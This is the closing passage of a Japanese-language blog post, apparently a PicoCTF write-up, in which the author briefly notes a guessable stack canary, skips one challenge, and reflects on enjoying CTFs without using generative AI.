といった感じになります。CANARYが推測しやすい値かつ位置も固定されていて助かりました。

Pizza Router

燃え尽きて結局手を付けられず...
この問題、凄い解いた人からの評価が低かったので、沼るのを恐れてしまいました。

おわりに

来年はPicoCTFあるのでしょうか?

生成AIによる影響で「CTFは終わった」「前より楽しくない」なんて言葉を最近よく目にします。

今回はAIに解かせることを禁止して臨んだので、自分はかなり楽しめました。

AIを禁止するのは難しいですが、これからも自分は楽しさ重視で取り組んでいきたいと思います。

1
1
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?